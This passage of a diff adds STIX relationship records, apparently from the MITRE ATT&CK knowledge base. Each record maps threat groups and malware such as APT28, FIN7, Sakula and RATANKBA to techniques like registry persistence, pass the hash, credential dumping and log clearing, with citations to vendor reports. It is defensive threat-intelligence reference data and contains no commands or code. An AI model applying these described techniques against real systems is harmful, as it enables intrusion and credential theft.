"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "Most [Sakula](https://attack.mitre.org/software/S0074) samples maintain persistence by setting the Registry Run key SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ in the HKLM or HKCU hive, with the Registry value and file name varying by sample.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--384c75e4-04e7-4ff8-9da6-0c8a03cb7a61", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "source_name": "Dell Sakula", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) attempted to get users to launch malicious Microsoft Office attachments delivered via spearphishing emails.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--aee59ac6-e6e6-4b35-b2ce-4e529d4efc4b", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.740Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has exfiltrated files stolen from local systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--05e9e12f-be5e-46f4-9f42-6f7fb7e9fb4a", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.311Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can retrieve information about the Windows domain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--03be081b-574e-4ffd-807a-99163b6a6fa2", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Remsec](https://attack.mitre.org/software/S0125) contains a keylogger component.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2f5f2d31-739e-4dc5-b137-840401985244", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "source_name": "Symantec Remsec IOCs", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can upload files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--80383098-470f-4293-b4b1-90c4362be307", + "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "source_name": "Symantec Pasam May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) may create a temporary user on the system named \u201cLost_{Unique Identifier}.\u201d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7e55e411-230e-4d1a-a780-d07784ed2cd6", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.053Z", + "id": "relationship--af0b0bfb-1a1e-4a06-b9e9-adeda7b6ad81", + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "modified": "2019-04-10T15:59:09.336Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + }, + { + "description": "ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.", + "source_name": "CameraShy", + "url": "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) uses services.exe to register a new autostart service named \"Audit Service\" using a copy of the local lsass.exe file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--a8aac75d-ef58-4dda-97a8-9584a6a6baaf", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + }, + { + "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.", + "source_name": "Microsoft Wingbird Nov 2017", + "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to obtain a directory listing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--32ee78b3-58de-4de5-bc3d-34ea8dc90ca3", + "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.", + "source_name": "Palo Alto CVE-2015-3113 July 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used pass the hash for lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.040Z", + "id": "relationship--22ccfcb8-cb4a-4b9e-bc2d-c0bd2701e2e9", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:34.832Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "source_name": "Microsoft SIR Vol 19", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Cachedump](https://attack.mitre.org/software/S0119) can extract cached password hashes from a system\u2019s registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5c6b3fda-2eec-4c7a-af09-5f880f260085", + "source_ref": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can execute commands on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--9f1c680d-042e-4291-bf9c-85c51120aa8b", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:02.965Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "source_name": "US-CERT Volgmer Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + }, + { + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) actors obtained a list of active processes on the victim and sent them to C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.055Z", + "id": "relationship--6e757efa-8231-4674-a1ea-e234e2dfb838", + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "modified": "2019-03-25T14:27:23.908Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) captures images from the webcam.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--79852ad8-86ff-4747-97c0-1c7faa5fa69d", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.699Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) stages the output from command execution and collected files in specific folders before exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0634c754-9660-414f-8304-d9d92e37a0ce", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.432Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) establishes persistence in the Startup folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--750ca5b8-6142-46c0-9c40-f04dc9036bb9", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) performs a reflective DLL injection using a given pid.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--65eff720-b419-4e73-8f6c-c3dd07b78484", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "modified": "2019-05-03T16:54:33.099Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "source_name": "Lazarus RATANKBA", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "The [NETWIRE](https://attack.mitre.org/software/S0198) client has been signed by fake and invalid digital certificates.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--add09428-6eda-4cb2-8817-008038ed4f00", + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", + "source_name": "McAfee Netwire Mar 2015", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to identify remote hosts on connected networks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--05ee7ead-dfe8-4cd2-9e7c-8f1aada9bcde", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "modified": "2019-04-22T23:25:33.589Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can download and execute additional files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--35ae6625-8563-493c-8950-1230bd0fd122", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "source_name": "Palo Alto Gamaredon Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) used legitimate services like Google Docs, Google Scripts, and Pastebin for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ada291f4-524c-4400-9425-0936a03d4a41", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.385Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses WMI to perform process monitoring.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6ed1086d-3197-403e-86e4-16e4dee07faa", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "modified": "2019-05-03T16:54:33.094Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "source_name": "Lazarus RATANKBA", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286", + "description": "[Reg](https://attack.mitre.org/software/S0075) may be used to find credentials in the Windows Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--19e44b4d-fb66-43f9-8853-8e42692522b2", + "source_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.", + "source_name": "Pentestlab Stored Credentials", + "url": "https://pentestlab.blog/2017/04/19/stored-credentials/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) used a proxy server between victims and the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--252c0e02-0da6-4812-b147-81d9cfb3c998", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "modified": "2019-05-14T17:10:21.943Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) C2 traffic has been encrypted with RC4 and AES.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c8d0e862-20af-4f9f-84e8-0419c8080008", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + }, + { + "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.", + "source_name": "Unit 42 SeaDuke 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[WinMM](https://attack.mitre.org/software/S0059) sets a WH_CBT Windows hook to search for and capture files on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1684e405-53bd-4951-a26d-e7c39887b06a", + "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de", + "modified": "2019-05-03T16:45:45.236Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has cleared logs during post compromise cleanup activities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1083404f-57df-48dc-a3b9-8c60fb5fd2f7", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.687Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) apparently altered [NDiskMonitor](https://attack.mitre.org/software/S0272) samples by adding four bytes of random letters in a likely attempt to change the file hashes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1a273c5c-b362-4126-b684-7751b85cbf5c", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.907Z", + 